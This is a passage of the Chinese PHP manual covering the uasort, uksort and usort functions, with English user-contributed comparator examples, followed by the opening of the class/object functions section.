    [10] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [7] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>

*** usort($arr, 'so') output:

<?php Array (
    [0] => Array
        (
            [id] => cent
            [aa] => 100100
        )

    [1] => Array
        (
            [id] => deux
            [aa] => 22
        )

    [2] => Array
        (
            [id] => dix
            [aa] => 1010
        )

    [3] => Array
        (
            [id] => sept
            [aa] => 77
        ))?>
php at eden2 dot com 17-Jul-2003 04:36
Is it just me, or are the examples below misleading, and actually demonstrating situations that would be more appropriate for usort()?

After trying to make sense of the uasort() description, it sounds like it's more for sorting a 1D array like this:

"john" => "$23.12"
"tim" => "$6.50"
"bob" => "$18.54"

and getting back:

"tim" => "$6.50"
"bob" => "$18.54"
"john" => $23.12"

(assuming, of course, that your sort function is lopping off the $ and evaluating as a number -- which would complicate the use of asort() ;)
naholyr at yahoo dot fr 10-Jan-2003 09:35
You can sort a multidimensionnal array by any of its key with this function:

function multi_sort($array, $key)
{
  $cmp_val="((\$a['$key']>\$b['$key'])?1:
    ((\$a['$key']==\$b['$key'])?0:-1))";
  $cmp=create_function('$a, $b', "return $body;");
  uasort($array, $cmp);
  return $array;
}

example:
$myarray = array(
  array("name"=>"kernighan", "language"=>"c"),
  array("name"=>"lerdorf", "language"=>"php"),
  array("name"=>"Stroustrup", "language"=>"c++"),
  array("name"=>"Gosling", "language"=>"java")
);

multi_sort($myarray, "name") returns:
name=Gosling    language=java
name=Kernighan    language=c
name=Lerdorf    language=php
name=Stroustrup    language=c++
dholmes at jccc d0t net 09-Oct-2002 02:27
Here is a little sort function that actually uses a dynamic callback for usort to do it's thing.

It assumes your data is in the form of:
    $data = array(
            array('ID'=>'6','LAST'=>'Holmes','FIRST'=>'Dan'),
            array('ID'=>'1234','LAST'=>'Smith','FIRST'=>'Agent K'),
            array('ID'=>'2','LAST'=>'Smith','FIRST'=>'Agent J'),
            array('ID'=>'4','LAST'=>'Barney','FIRST'=>'Bob'));

Now, you want to sort on one or more cols, don't you?

masort($data, 'LAST,FIRST');
or
masort($data,array('FIRST','ID'));

Of course you could add a bunch to it (like numeric comparison if appropriate, desc/asc, etc) but it works for me.

function masort(&$data, $sortby){
    if(is_array($sortby)){
        $sortby = join(',',$sortby);
    }

    uasort($data,create_function('$a,$b','$skeys = split(\',\',\''.$sortby.'\');
        foreach($skeys as $key){
            if( ($c = strcasecmp($a[$key],$b[$key])) != 0 ){
                return($c);
            }
        }
        return($c); '));
}
Notice that I am splitting the string in the comparison function? While this is certainly slower, it was the only way I would find to "pass" and "array".  If anyone has a better way, please suggest.  Then inside, we (string) compare the values only moving to the next key if the values are the same...and so on, and so on.
stilgar_cpsNOSPAM at zipmail dot NOSPAMcom dot br 05-Sep-2001 02:30
Use example:

$array[0]['Fator1']=7;
$array[0]['Fator2']="Name";
$array[1]['Fator1']=5;
$array[1]['Fator2']="Name";
$array[2]['Fator1']=7;
$array[2]['Fator2']="NameDiferente";
.....

We want to order by Fator1, then Fator2, then:

function Compare($ar1, $ar2)
{
   if ($ar1['Fator1']<$ar2['Fator1'])
      return -1;
   else if ($ar1['Fator1']>$ar2['Fator1'])
      return 1;
   if ($ar1['Fator2']<$ar2['Fator2'])
      return -1;
   else if ($ar1['Fator2']>$ar2['Fator2'])
      return 1;
   return 0;
}

To sort now, we use:

uasort($array, 'Compare');


使用用户自定义的比较函数对数组中的键名进行排序

  • ? uasort
  • usort ?
  • PHP Manual
  • 数组 函数
  • 使用用户自定义的比较函数对数组中的键名进行排序

uksort

(PHP 4, PHP 5, PHP 7, PHP 8)

uksort — 使用用户自定义的比较函数对数组中的键名进行排序

说明

uksort(array &$array, callable $callback): true

使用用户自定义的比较函数对 array 本身进行按键（key）排序以确定顺序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

callback

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。
8.0.0 | 如果 callback 接受引用传递参数，该方法将会抛出 E_WARNING。

示例

Example #1 uksort() 示例

<?php
function cmp($a, $b)
{
$a = preg_replace('@^(a|an|the) @', '', $a);
$b = preg_replace('@^(a|an|the) @', '', $b);
return strcasecmp($a, $b);
}

$a = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);

uksort($a, "cmp");

foreach ($a as $key => $value) {
echo "$key: $value\n";
}
?>

以上示例会输出：

an apple: 3
a banana: 4
the Earth: 2
John: 1

参见

  • usort() - 使用用户自定义的比较函数对数组中的值进行排序
  • uasort() - 使用用户定义的比较函数对数组进行排序并保持索引关联
  • 数组排序函数对比

User Contributed Notes

smcbride at msn dot com 29-Jan-2021 07:17
This might be obvious to many, but just to help others that are trying to use this in a class.  Inside a class, you can prefix the function with self:: within the uksort(), and it will work.  Also, if it is in another class that is included, you can prefix it with the class name.

class someclass {
     private function ArraySortCMPIP($a, $b) {
          $a = ip2long($a);
          $b = ip2long($b);

          if ($a == $b) return 0;
          return ($a < $b) ? -1 : 1;
     }

     // Output
     public function PrintResults() {
          uksort($this->someIPAddressArray, 'self::ArraySortCMPIP');
          print_r($this->someIPAddressArray);
     }
}
DimeCadmium 22-Jun-2018 06:48
Don't use uksort($array, "strnatcasecmp"); ... use ksort($array, SORT_NATURAL|SORT_FLAG_CASE);
andi at example dot com 24-Feb-2016 10:58
I needed to be able to sort a string that contained numbers eg.

"Slot 1 name"
"Slot 2 name"
"Slot 10 name"

using a normal string compare the "Slot 10 name" would appear before "Slot 2 name" so I wrote little function that will compare a string taking numbers in to consideration. There may be a few edge cases that need to be taken in to consideration.

function strCmpWithNumbers( $a, $b) {
  // Split the string in to words.
  $a = explode(' ',$a);
  $b = explode(' ',$b);
  $loop = 0;
  do {
    // Get the first word from each item
    $ta = Utils::gvfa($a, $loop);
    $tb = Utils::gvfa($b, $loop);

    if (isset($ta)) {
      if (isset($tb)) {
        if (is_numeric($ta)) {
          if ($ta != $tb) {
            return $ta - $tb;
          }
        } else {
          $val = strcasecmp($ta, $tb);
          if ($val != 0) {
            return $val;
          }
        }
      } else {
        return 1; // a is set but b isn't
      }
    } else {
      return isset($b);
    }
    $loop +=1;
  } while (true);
}
Anonymous 05-Oct-2015 01:02
An associative array with known keys can be easily custom sorted using a switch statement in the callback:

NB ksort can be used beforehand to ensure expected results

ksort($array);

uksort($array, function ($a) {
    switch($a) {
        case 'pepperoni':
            return 0;
        case 'beef':
            return 1;
        case 'chicken':
            return 2;
        case 'ham':
            return 3;
        case 'vegetarian':
            return 4;
    }
});
PHPUser 06-Feb-2015 05:32
[Editor's note: the following comment may be factually incorrect]

uksort is only usable in the UK
<?php
if($country=="UK"){
  uksort();
}else{
  echo "You have to live in UK to use uksort().";
}
?>
ingo at example dot test 05-May-2014 01:30
sort with collation, to have umlauts correctly:

uksort($retval, array(Collator::create( 'de_DE' ), 'compare'));
mdsky at web dot de 23-May-2010 11:26
Case insensitive without own function:

uksort($array, "strnatcasecmp");
contacto at hardcode dot com dot ar 29-Jul-2009 06:56
need a case insensitive sort by key function? i did and couldn find it, so:

<?php
function insensitive_uksort($a,$b) {
    return strtolower($a)<strtolower($b);
}
uksort($arr, "insensitive_uksort");
?>
brian dot short at gmail dot com 07-Jul-2009 07:58
If you need to periodically sort by grades (A, A+, D-, etc.), here is a compare function that compares strings by the case-insensitive method, unless it finds a grade, in which case it correctly sorts by putting "plus" grades first, unmarked grades second, and "minus" grades last.

<?php
function cmp($a, $b)
{
   $a = preg_replace('@^(a|an|the) @', '', $a);
   $b = preg_replace('@^(a|an|the) @', '', $b);

   //special code for grades
   if (strpos( $a, "+") !== false || strpos( $b, "+") !== false  ||
       strpos( $a, "-") !== false || strpos( $b, "-") !== false ){

        $substrA = substr($a, 0, 1);
        $substrB = substr($b, 0, 1);

        $modifierA = (strlen($a) == 2) ? substr($a, 1, 1) : "";
        $modifierB = (strlen($b) == 2) ? substr($b, 1, 1) : "";

        if ($substrA == $substrB){
            //figure out plusses and minuses.
            if ($modifierA == "+"){
                return -1;
            } else if ($modifierB == "+"){
                return 1;
            }

            if ($modifierA == "-"){
                return 1;
            } else if ($modifierB == '-'){
                return -1;
            }
        } else {
            return strcasecmp($a, $b);
        }

    }
   return strcasecmp($a, $b);
}

$grades = array(
                 "C+" => 13    ,
                "C" => 10     ,
                "D+" => 8     ,
                "B+" => 7     ,
                "C-" => 6     ,
                "A-" => 5     ,
                "F" => 5      ,
                "B" => 4      ,
                "B-" => 4     ,
                "D" => 3      ,
                "D-" => 3     ,
                "A+" => 1
    );

uksort($grades, "cmp");
?>

result:  Array
(
    [A+] => 1
    [A-] => 5
    [B+] => 7
    [B] => 4
    [B-] => 4
    [C+] => 13
    [C] => 10
    [C-] => 6
    [D+] => 8
    [D] => 3
    [D-] => 3
    [F] => 5
)
Jimomighty 19-Mar-2005 07:30
...

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return ($a < $b) ? -1 : 1;
}

function uksort_tree ( &$array )
{
    // [PHP5] foreach ( $array as &$value )
    foreach ( $array as $key => $value )
    {
       if ( is_array ( $value ) )
       {
            // [PHP5] uksort_tree ( $value );
           uksort_tree ( $array[$key] );
       }
    }

    uksort( $array, "cmp" );
}

uksort_tree( $myEntryArray );

...
aleczapka at gmx dot net 22-Dec-2004 04:35
One remark regarding array_sorter class.
It won't work correctly with eg. dates from mysql like 20041206105350, cause you can't convert such number into integer. To fix it remove intval() from the code. If the variable is a number it will work without converting this to int anyways. Here is the fix.

<?php
....
if ($a == $b)
    return 0;
if ($this->sasc)
    return ($a > $b) ? 1 : -1;
else
    return ($a > $b) ? -1 : 1;
...
?>
jg at delegation dot ca 17-Dec-2004 07:41
To sort dates with uksort:

function datediff($a, $b) {

$a = date('U',$a);
$b = date('U',$b);

if ($a == $b) $r = 0;
else $r = ($a > $b) ? 1: -1;

return $r;
}
aleczapka at gmx dot net 06-Dec-2004 04:27
Here is a small and very fast object to handle sorting of multidimentional arrays by a key.
<?php
/**
* Handles multidimentional array sorting by a key (not recursive)
*
* @author Oliwier Ptak <aleczapka at gmx dot net>
*/
class array_sorter
{
    var $skey = false;
    var $sarray = false;
    var $sasc = true;

    /**
    * Constructor
    *
    * @access public
    * @param mixed $array array to sort
    * @param string $key array key to sort by
    * @param boolean $asc sort order (ascending or descending)
    */
    function array_sorter(&$array, $key, $asc=true)
    {
        $this->sarray = $array;
        $this->skey = $key;
        $this->sasc = $asc;
    }

    /**
    * Sort method
    *
    * @access public
    * @param boolean $remap if true reindex the array to rewrite indexes
    */
    function sortit($remap=true)
    {
        $array = &$this->sarray;
        uksort($array, array($this, "_as_cmp"));
        if ($remap)
        {
            $tmp = array();
            while (list($id, $data) = each($array))
                $tmp[] = $data;
            return $tmp;
        }
        return $array;
    }

    /**
    * Custom sort function
    *
    * @access private
    * @param mixed $a an array entry
    * @param mixed $b an array entry
    */
    function _as_cmp($a, $b)
    {
        //since uksort will pass here only indexes get real values from our array
        if (!is_array($a) && !is_array($b))
        {
            $a = $this->sarray[$a][$this->skey];
            $b = $this->sarray[$b][$this->skey];
        }

        //if string - use string comparision
        if (!ctype_digit($a) && !ctype_digit($b))
        {
            if ($this->sasc)
                return strcasecmp($a, $b);
            else
                return strcasecmp($b, $a);
        }
        else
        {
            if (intval($a) == intval($b))
                return 0;

            if ($this->sasc)
                return (intval($a) > intval($b)) ? -1 : 1;
            else
                return (intval($a) > intval($b)) ? 1 : -1;
        }
    }

}//end of class
?>

Sample $input_array:

Array
(
    [0] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

Example of usage:
<?php
    function multi_sort(&$array, $key, $asc=true)
    {
        $sorter = new array_sorter($array, $key, $asc);
        return $sorter->sortit();
    }
    //sort by parent_id in descending order
    $my_array = multi_sort($input_array, "parent_id", false);
?>

The result array will be:
Array
(

    [0] => Array
        (
            [id] => 703
            [uid] => 29
            [gid] => 12
            [parent_id] => 419
            [created] => 20041025154132
            [modified] => 20041027150259
        )

    [1] => Array
        (
            [id] => 41
            [uid] => 29
            [gid] => 12
            [parent_id] => 153
            [created] => 20041025154009
            [modified] => 20041206105532
        )

    [2] => Array
        (
            [id] => 961
            [uid] => 29
            [gid] => 12
            [parent_id] => 147
            [created] => 20041206105350
            [modified] => 20041206110702
        )
fabriceb at gmx dot net 08-Jul-2004 06:26
(about sorting an array of objects by their properties in a class - inspired by webmaster at zeroweb dot org at usort function)
I'm using classes as an abstraction for querying records in a database and use arrays of objects to store records that have an 1 to n relationship. E.g. a class "family" has family members stored as an array of objects. Each of those objects prepresents a record in a database related to the family (by it's familyId).

To identify members, I'm using their memberId as the key of the array e.g. $family->members[$memberId].
To sort the family members AFTER fetching them with the database query, you can use the functions _objSort and sortMembers which will sort the "members" array by key using it's properties (for space reasons I didn't include the methods used to open the records):
<?php
class familyMember
{
    var $memberId;
    var $familyId;
    var $firstName;
    var $age;
    var $hairColor;
// ...
}

class family
{
    var $familyId;
    var $name;
    var $members = array(); // array of familyMember objects
    var $sortFields = array();
    var $sortDirections = array();
    // ...
    function _objSort(&$a, &$b, $i = 0)
    {
        $field        = $this->sortFields[$i];
        $direction    = $this->sortDirections[$i];

        $diff = strnatcmp($this->details[$a]->$field, $this->details[$b]->$field) * $direction;
        if ($diff == 0 && isset($this->sortFields[++$i]))
        {
            $diff = $this->_objSort($a, $b, $i);
        }

        return $diff;
    }

    function sortMembers($sortFields)
    {
        $i = 0;
        foreach ($sortFields as $field => $direction)
        {
            $this->sortFields[$i] = $field;
            $direction == "DESC" ? $this->sortDirections[$i] = -1 : $this->sortDirections[$i] = 1;
            $i++;
        }

        uksort($this->details, array($this, "_objSort"));

        $this->sortFields = array();
        $this->sortDirections = array();
    }
}
// open a family
$familyId = 5;
$family = new family($familyId);
$family->open(); // this will also fetch all members

// sort members by 3 fields
$family->sortMembers(array("firstName" => "ASC", "age" => "DESC", "hairColor" => "ASC"));
// output all family members
foreach ($family->members as $member)
{
    echo $member->firstName." - ".$member->age." - ".$member->hairColor."<br />";
}
?>

Note that this might not be the fastest thing on earth and it hasn't been tested very much yet but I hope it's useful for someone.
webmaster at kik-it at N0SP4M dot com 09-Feb-2004 10:03
The code below allows you to sort an array_A following array_B keys order, original keys and values remain associated.

<?

//main function
Function SortArrayAKeysLikeArrayBKeys(&$TheArrayToSort){
   uksort($TheArrayToSort,"SortArrayAKeysLikeArrayBKeys_cmp");
}

//the custom compare function
Function SortArrayAKeysLikeArrayBKeys_cmp($a,$b){
  global $TheArrayOrder;
  $PosA=KeyPosInArray($a,$TheArrayOrder);
  $PosB=KeyPosInArray($b,$TheArrayOrder);
  if ($PosA==$PosB){return 0;}else{return ($PosA > $PosB ? 1 : -1);}
}

//where is my key in my array
Function KeyPosInArray($Key,$Array){
   $i=0;
   $Pos=99999999;
   if($Array){
      foreach($Array as $K => $V){
         $i++;
         if($K==$Key){
            $Pos=$i;
            break;
         }
      }
   }
   return $Pos;
}

//the array you want to sort
$AnyArrayToSort['age']='19';
$AnyArrayToSort['ville']='rennes';
$AnyArrayToSort['website']='kik-it.com';
$AnyArrayToSort['region']='bretagne';
$AnyArrayToSort['code_postal']='35200';
$AnyArrayToSort['Nom']='Fred';

//the array with the correct keys/values order
$TheArrayOrder['Nom']='Whatever';
$TheArrayOrder['age']='Anything';
$TheArrayOrder['region']='What u want';
$TheArrayOrder['ville']='Something';
$TheArrayOrder['code_postal']='Nothing';

//before sort
print_r($AnyArrayToSort);
echo "<br>";
//we sort
SortArrayAKeysLikeArrayBKeys($AnyArrayToSort);
echo "<br>";
//after sort
print_r($AnyArrayToSort);
?>

Will print :

Array ( [age] => 19 [ville] => rennes [website] => kik-it.com [region] => bretagne [code_postal] => 35200 [Nom] => Fred )

Array ( [Nom] => Fred [age] => 19 [region] => bretagne [ville] => rennes [code_postal] => 35200 [website] => kik-it.com )

The keys not listed in the $TheArrayOrder will appear at the end of your sorted array (only if Key Pos < 99999999 ;o)
guss at typo dot co dot il 07-Dec-2003 12:18
Regarding the recursive sorting function above:
Genrally speaking, any recursion can be reimplemented using simple iteration. in the specific case, using recursion to compare strings has a huge performance impact while a simple loop would suffice and be faster and more simple.
Recursion is only good if it simplifies your code or your understanding of the concept. the previous example does neither, especially as it does a lot of repetitive things in each iteration, such as asigning the character order constant, rebuilding it into an array and such

For example, the string comparison could be written as such :
function str_compare($a,$b) {
    $order="aA??bBcC&#269;&#268;..."; // longer normally & without that html entities
    $default = strlen($a) - strlen($b);
    $minlen = strlen($a) < strlen($b) ? strlen($a) : strlen($b);
    for ($i = 0; $i < $minlen; $i++) {
        $pos_a=strpos($order,$a[$i]);
        $pos_b=strpos($order,$b[$i]);
        if ($pos_a != $pos_b)
            return $pos_a - $pos_b;
    }
    return $default;
}

Which is much simpler and faster.
Note that the above function will break for characters that are not listed in $order. it should be failry trivial to fix it.
ignatius dot reilly at free dot fr 13-Nov-2003 10:59
To use a more complicated comparison function, one can use a callback to a method of an object instance.
For example the following will take an array $arr whose keys are the same as those of $reference, and reorder $arr so that the keys appear in the same order as in $reference.

class kcmp {
    var $reference ;
    function kcmp( $reference ) {
       $this->reference = $reference ;
    }
    function kcompare( $a, $b ) {
       $keys = array_keys( $this->reference ) ;
       $position_a = array_search( $a, $keys ) ;
       $position_b = array_search( $b, $keys ) ;
       return  $position_a < $position_b ? -1 : 1 ;
    }
}

$reference = array(
    "k2" => "a2",
    "k3" => "a3",
    "k1" => "a1"
) ;
$arr = array(
    "k1" => "b1",
    "k2" => "b2",
    "k3" => "b3"
) ;
print_r( $arr ) ;
uksort( $arr, array( new kcmp( $reference ), "kcompare" ) ) ;
print_r( $arr ) ;


使用用户自定义的比较函数对数组中的值进行排序

  • ? uksort
  • 类/对象 ?
  • PHP Manual
  • 数组 函数
  • 使用用户自定义的比较函数对数组中的值进行排序

usort

(PHP 4, PHP 5, PHP 7, PHP 8)

usort — 使用用户自定义的比较函数对数组中的值进行排序

说明

usort(array &$array, callable $callback): true

根据用户提供的比较函数，对 array 原地排序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名，而不是仅仅将键名重新排序。

参数

array

输入的数组

callback

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。
8.0.0 | 如果 callback 接受引用传递参数，该方法将会抛出 E_WARNING。

示例

Example #1 usort() 示例

<?php
function cmp($a, $b)
{
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

$a = array(3, 2, 5, 6, 1);

usort($a, "cmp");

foreach ($a as $key => $value) {
echo "$key: $value\n";
}
?>

以上示例会输出：

0: 1
1: 2
2: 3
3: 5
4: 6

Note:

很明显在这个小例子中用 sort() 函数更合适。

Example #2 使用多维数组的 usort() 示例

<?php
function cmp($a, $b)
{
return strcmp($a["fruit"], $b["fruit"]);
}

$fruits[0]["fruit"] = "lemons";
$fruits[1]["fruit"] = "apples";
$fruits[2]["fruit"] = "grapes";

usort($fruits, "cmp");

foreach ($fruits as $key => $value) {
echo "\$fruits[$key]: " . $value["fruit"] . "\n";
}
?>

当排序多维数组时，$a 和 $b 包含到数组第一个索引的引用。

以上示例会输出：

$fruits[0]: apples
$fruits[1]: grapes
$fruits[2]: lemons

Example #3 使用一个对象的成员函数的 usort() 示例

<?php
class TestObj {
private string $name;

function __construct($name)
{
$this->name = $name;
}

/* This is the static comparing function: */
static function cmp_obj($a, $b)
{
return strtolower($a->name) <=> strtolower($b->name);
}
}

$a[] = new TestObj("c");
$a[] = new TestObj("b");
$a[] = new TestObj("d");

usort($a, [TestObj::class, "cmp_obj"]);

foreach ($a as $item) {
echo $item->name . "\n";
}
?>

以上示例会输出：

b
c
d

Example #4 usort() 示例，使用闭包对多维数组进行排序

<?php
$array[0] = array('key_a' => 'z', 'key_b' => 'c');
$array[1] = array('key_a' => 'x', 'key_b' => 'b');
$array[2] = array('key_a' => 'y', 'key_b' => 'a');

function build_sorter($key) {
return function ($a, $b) use ($key) {
return strnatcmp($a[$key], $b[$key]);
};
}

usort($array, build_sorter('key_b'));

foreach ($array as $item) {
echo $item['key_a'] . ', ' . $item['key_b'] . "\n";
}
?>

以上示例会输出：

y, a
x, b
z, c

Example #5 使用太空船运算符的 usort() 示例

太空船运算符允许跨多个轴直接比较复合值。 下面的示例将对 $people 按姓氏排序，如果姓氏匹配，则按名字排序。

<?php
$people[0] = ['first' => 'Adam', 'last' => 'West'];
$people[1] = ['first' => 'Alec', 'last' => 'Baldwin'];
$people[2] = ['first' => 'Adam', 'last' => 'Baldwin'];

function sorter(array $a, array $b) {
return [$a['last'], $a['first']] <=> [$b['last'], $b['first']];
}

usort($people, 'sorter');

foreach ($people as $person) {
print $person['last'] . ', ' . $person['first'] . PHP_EOL;
}
?>

以上示例会输出：

Baldwin, Adam
Baldwin, Alec
West, Adam

参见

  • uasort() - 使用用户定义的比较函数对数组进行排序并保持索引关联
  • uksort() - 使用用户自定义的比较函数对数组中的键名进行排序
  • 数组排序函数对比

User Contributed Notes

gus dot antoniassi at gmail dot com 10-Jun-2019 01:23
This is a simple way to sort based on a "priority list":

<?php

$order = [1,3,0,2];
$arr =   [
    [ 'id' => 0 ],
    [ 'id' => 1 ],
    [ 'id' => 2 ],
    [ 'id' => 3 ],
];

uasort(
    $arr,
    function ($a, $b) use ($order) {
        return array_search($a['id'], $order) <=> array_search($b['id'], $order);
    }
);

print_r($arr);

?>

This will return:

Array
(
    [1] => Array
        (
            [id] => 1
        )

    [3] => Array
        (
            [id] => 3
        )

    [0] => Array
        (
            [id] => 0
        )

    [2] => Array
        (
            [id] => 2
        )

)

Note that if you have a value in $arr that is not on the $order list, you will need additional checks since the array_search function returns FALSE for undefined indexes.
chris at candm dot org dot uk 19-Jan-2019 01:15
In case anyone is interested, comparative timings over 100000000 runs
Based on comparing integers (500 and 501)
Spaceship:4
()?: operator:10
Subtraction:2

Based on comparing floats (500.1 and 501.3) (caveats noted)
Spaceship:5
()?: operator:9
Subtraction:3

Based on comparing strings ("five" and "four")
Spaceship:7
()?: operator:17
(Subtraction obviously not available)

Note: a dummy run was done with an empty loop and the elapsed time for this was subtracted from each of the above times so that they reflect ONLY the time to do the comparisons. As for significance. unless you are doing very large numbers of comparisons where spaceships are the order of the day, the difference is insignificant.
inigo dot grimbergen at gmail dot com 14-Jan-2017 06:51
to sort with numeric and empty values  and have the smallest on top:
<?php
    usort($list, function($a, $b) {
        if( $a == null && $b != null ) return 1;
        if( $a != null && $b == null ) return -1;
        return $a > $b ? 1 : -1;
    });
?>
returns
1
2
3
null
null
null
Hayley Watson 08-Apr-2013 10:30
As the documentation says, the comparison function needs to return an integer that is either "less than, equal to, or greater than zero". There is no requirement to restrict the value returned to -1, 0, 1.

<?php
usort($array, function($a, $b) {
    if($a->integer_property > $b->integer_property) {
        return 1;
    }
    elseif($a->integer_property < $b->integer_property) {
        return -1;
    }
    else {
        return 0;
    }
});
?>

can be simplified to

<?php
usort($array, function($a, $b) {
    return $a->integer_property - $b->integer_property;
});
?>

This of course applies to any comparison function that calculates an integer "score" for each of its arguments to decide which is "greater".
andi_mclean at ntlworld dot com 04-Feb-2012 03:58
I needed a sort method that would sort strings but take note of any numbers and would compare them as number. I also want to ignore any non alphanumerical characters.

Eg.
Slot 1 Example
Slot 10 Example
Slot 2 Example

Should infact be
Slot 1 Example
Slot 2 Example
Slot 10 Example

<?php
function sort_with_numbers($a , $b) {
    $a = explode(' ',$a);
    $b = explode(' ',$b);
    $size = min(count($a), count($b));
    for($index =0; $index < $size; ++$index) {
        $a1 = ereg_replace("[^A-Za-z0-9]", "",$a[$index]);
        $b1 = ereg_replace("[^A-Za-z0-9]", "",$b[$index]);
        $equal = 0;
        if (is_numeric($a1) && is_numeric($b1)) {
            $equal = $a1 - $b1;
        } else {
            $equal = strcasecmp($a1,$b1);
        }
        if ($equal < 0) {
            return -1;
        }
        if ($equal > 0) {
            return 1;
        }
    }
    return count($a) - count($b);
}
?>
luke dot semerau at gmail dot com 28-Mar-2009 12:25
If you need to use usort with a key in the calling method, I wrote this as a utility:
<?php

function usort_comparison($obj, $method, $key) {
    $usorter = &new Usort($obj, $method, $key);
    return array($usorter, "sort");
}

class Usort {
    function __construct($obj, $method, $key) {
        $this->obj = $obj;
        $this->method = $method;
        $this->key = $key;
    }
    function sort($a, $b) {
        return call_user_func_array(array($this->obj, $this->method), array($a, $b, $this->key));
    }
}

?>

<?php

require_once("util/usort.php");

class Foo {
    $items = array(FooBar(13), FooBar(2));
    public function sorter() {
        usort($this-items, usort_comparison("Foo", "_cmp", "item"));
    }

    public static function _cmp($a, $b, $key) {
         return strcasecmp($a->$key, $b->$key);
    }

}

class FooBar {
    public $item;
    function __construct($val) {
        $this->item = $val;
    }
}

?>

~ simple example... but in the way I need to use it was the key was used in a switch statement to choose the different member of the object to compare against dynamically (as in, sort by x or y or z)
sydney at totoche dot org 16-Jan-2006 01:44
Instead of doing  :

<?php $strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) ); ?>

you could do this :

<?php $strc = strcasecmp( $a[$f], $b[$f] ); ?>

which is more efficient and is does case insensitive comparison according to the current locale.
mkr at binarywerks dot dk 20-Sep-2002 09:29
If you want to sort an array according to another array acting as a priority list, you can use this function.

<?php
function listcmp($a, $b)
{
  global $order;

  foreach($order as $key => $value)
    {
      if($a==$value)
        {
          return 0;
          break;
        }

      if($b==$value)
        {
          return 1;
          break;
        }
    }
}

$order[0] = "first";
$order[1] = "second";
$order[2] = "third";

$array[0] = "second";
$array[1] = "first";
$array[2] = "third";
$array[3] = "fourth";
$array[4] = "second";
$array[5] = "first";
$array[6] = "second";

usort($array, "listcmp");

print_r($array);
?>
bo at erichsen dot com 20-Mar-2001 05:16
when using usort to refer to a function inside a class i have succesfully used:

<?php usort($myarray,array($this,"cmp")); ?>
derek at luddite dot net 18-Sep-2000 11:35
Needed a date sort and I didn't know if one was available so I wrote one. Maybe it'll help someone:

<?php
function DateSort($a,$b,$d="-") {
    if ($a == $b) {
        return 0;
    } else {  //Convert into dates and compare
        list($am,$ad,$ay)=split($d,$a);
        list($bm,$bd,$by)=split($d,$b);
        if (mktime(0,0,0,$am,$ad,$ay) < mktime(0,0,0,$bm,$bd,$by)) {
            return -1;
        } else {
            return 1;
        }
    }
}
?>

$d is the delimeter


类/对象的信息

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • 类/对象 函数
    • __autoload — 尝试加载未定义的类
    • class_alias — 为类创建别名
    • class_exists — 查类是否已经定义
    • enum_exists — 检测是否定义对应的枚举
    • get_called_class — 后期静态绑定（"Late Static Binding"）类的名称
    • get_class_methods — 返回由类的方法名组成的数组
    • get_class_vars — 获取类的默认属性
    • get_class — 返回对象的类名
    • get_declared_classes — 返回由已定义类的名字所组成的数组
    • get_declared_interfaces — 返回一个数组包含所有已声明的接口
    • get_declared_traits — 返回所有已定义的 traits 的数组
    • get_mangled_object_vars — 返回将对象属性混在一起的数组
    • get_object_vars — 获取指定对象的属性
    • get_parent_class — 检索对象或者类的父级类名
    • interface_exists — 检查接口是否已被定义
    • is_a — 检查对象是否属于一个给定的类型或子类型。
    • is_subclass_of — 检查对象是否继承或者实现（implement）此类
    • method_exists — 检查类的方法是否存在
    • property_exists — 检查对象或类是否具有该属性
    • trait_exists — 检查指定的 trait 是否存在

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数允许你获得类和对象实例的相关信息。 你可以获取对象所属的类名，也可以是它的成员属性和方法。 通过使用这些函数，你不仅可以找到对象和类的关系，也可以是它们的继承关系（例如，对象类继承自哪个类）。

请参见手册中对象一节来查看在 PHP 里，对象和类如何实现和使用的详细描述。

User Contributed Notes

There are no user contributed notes for this page.


示例

在这个示例中，首先定义了一个基类和该类的扩展。基类描述了普通的蔬菜， 是否可食用及其颜色。子类 Spinach 添加了烹饪的方法和检查是否已烹饪的方法。

Example #1 定义类

Vegetable

<?php

class Vegetable {
public $edible;

public $color;

public function __construct($edible, $color = "green")
{
$this->edible = $edible;
$this->color = $color;
}

public function isEdible()
{
return $this->edible;
}

public function getColor()
{
return $this->color;
}
}

?>

Spinach

<?php

class Spinach extends Vegetable {
public $cooked = false;

public function __construct()
{
parent::__construct(true, "green");
}

public function cook()
{
$this->cooked = true;
}

public function isCooked()
{
return $this->cooked;
}
}

?>

接下来从这些类中实例化了两个对象并打印了它们的信息，包括了他们类的继承关系。 同时也定义了一些实用函数，主要为了漂亮地打印出这些变量。

